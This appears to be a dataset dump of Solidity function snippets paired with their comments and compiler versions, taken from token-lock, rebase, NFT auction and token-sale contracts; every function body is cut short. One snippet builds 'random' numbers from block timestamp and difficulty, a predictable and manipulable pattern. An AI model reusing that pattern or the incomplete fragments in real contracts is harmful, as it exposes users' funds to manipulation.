// the account already had some locked tokens the count will be
// increased to this value.) If the user already has locked tokens
// the locked token count and expiration time may not b... | function increaseLock(uint256 _value, uint256 _time) public returns (bool success) {
User storage user = users[msg.sender];
// Is there a lock in effect?
if (block.timestamp < user.lock_endTime) {
// Lock in effect, ensure nothing gets smaller.
require(_value >= user.lock_value);
r... | 0.4.19 |
// Employees of CashBet may decrease the locked token value and/or
// decrease the locked token expiration date. These values may not
// ever be increased by an employee.
// | function decreaseLock(uint256 _value, uint256 _time, address _user) public only_employees(_user) returns (bool success) {
User storage user = users[_user];
// We don't modify expired locks (they are already 0)
require(user.lock_endTime > block.timestamp);
// Ensure nothing gets bigger.
requir... | 0.4.19 |
// Called by a token holding address, this method migrates the
// tokens from an older version of the contract to this version.
// The migrated tokens are merged with any existing tokens in this
// version of the contract, resulting in the locked token count
// being set to the sum of locked tokens in the old and new
/... | function optIn() public returns (bool success) {
require(migrateFrom != MigrationSource(0));
User storage user = users[msg.sender];
uint256 balance;
uint256 lock_value;
uint256 lock_endTime;
bytes32 opId;
bytes32 playerId;
(balance, lock_value, lock_endTime, opId, playerId) =
... | 0.4.19 |
/**
* @notice Initiates a new rebase operation, provided the minimum time period has elapsed.
*
* @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag
* Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate
* and targetRate is CpiOracleRate /... | function rebase() external onlyOrchestrator {
require(inRebaseWindow());
// This comparison also ensures there is no reentrancy.
require(lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < block.timestamp);
// Snap the rebase time to the start of this window.
lastReba... | 0.7.6 |
/**
* @dev ZOS upgradable contract initialization method.
* It is called at the time of contract creation to invoke parent class initializers and
* initialize the contract's state variables.
*/ | function initialize(
address owner_,
IUFragments uFrags_
) public initializer {
Ownable.initialize(owner_);
// deviationThreshold = 0.05e18 = 5e16
deviationThreshold = 5 * 10**(DECIMALS - 2);
rebaseLag = 3;
minRebaseTimeIntervalSec = 1 days;
... | 0.7.6 |
/**
* @return Computes the total supply adjustment in response to the exchange rate
* and the targetRate.
*/ | function computeSupplyDelta(uint256 rate, uint256 targetRate) internal view returns (int256) {
if (withinDeviationThreshold(rate, targetRate)) {
return 0;
}
// supplyDelta = totalSupply * (rate - targetRate) / targetRate
int256 targetRateSigned = targetRate.toInt256Saf... | 0.7.6 |
// The vacate method is called by a newer version of the CashBetCoin
// contract to extract the token state for an address and migrate it
// to the new contract.
// | function vacate(address _addr) public returns (uint256 o_balance,
uint256 o_lock_value,
uint256 o_lock_endTime,
bytes32 o_opId,
... | 0.4.19 |
/**
* @notice Initialize the auction house and base contracts,
* populate configuration values, and pause the contract.
* @dev This function can only be called once.
*/ | function initialize(
IAxons _axons,
IAxonsVoting _axonsVoting,
address _axonsToken,
uint256 _timeBuffer,
uint256 _reservePrice,
uint8 _minBidIncrementPercentage,
uint256 _duration
) external initializer {
__Pausable_init();
__Reentran... | 0.8.10 |
/**
* @dev Generates a random axon number
* @param _a The address to be used within the hash.
*/ | function randomAxonNumber(
address _a,
uint256 _c
) internal view returns (uint256) {
uint256 _rand = uint256(
uint256(
keccak256(
abi.encodePacked(
block.timestamp,
block.difficulty,
... | 0.8.10 |
/**
* @notice Create an auction.
* @dev Store the auction details in the `auction` state variable and emit an AuctionCreated event.
* If the mint reverts, the minter was updated without pausing this contract first. To remedy this,
* catch the revert and pause this contract.
*/ | function _createAuction(uint256 axonId) internal {
try axons.mint(axonId) returns (uint256 tokenId) {
uint256 startTime = block.timestamp;
uint256 endTime = startTime + duration;
auction = Auction({
axonId: tokenId,
amount: 0,
... | 0.8.10 |
/**
* @notice owner should transfer to this smart contract {_supply} Mozo tokens manually
* @param _mozoToken Mozo token smart contract
* @param _coOwner Array of coOwner
* @param _supply Total number of tokens = No. tokens * 10^decimals = No. tokens * 100
* @param _rate number of wei to buy 0.01 Mozo sale to... | function MozoSaleToken(
OwnerERC20 _mozoToken,
address[] _coOwner,
uint _supply,
uint _rate,
uint _openingTime,
uint _closingTime
)
public
ChainCoOwner(_mozoToken, _coOwner)
Timeline(_openingTime, _closingTime)
onlyOwner()
{
re... | 0.4.23 |
/**
* @dev add an address to the whitelist, sender must have enough tokens
* @param _address address for adding to whitelist
* @return true if the address was added to the whitelist, false if the address was already in the whitelist
*/ | function addAddressToWhitelist(address _address) onlyOwnerOrCoOwner public returns (bool success) {
if (!whitelist[_address]) {
whitelist[_address] = true;
//transfer pending amount of tokens to user
uint noOfTokens = pendingAmounts[_address];
if (noOfTokens ... | 0.4.23 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.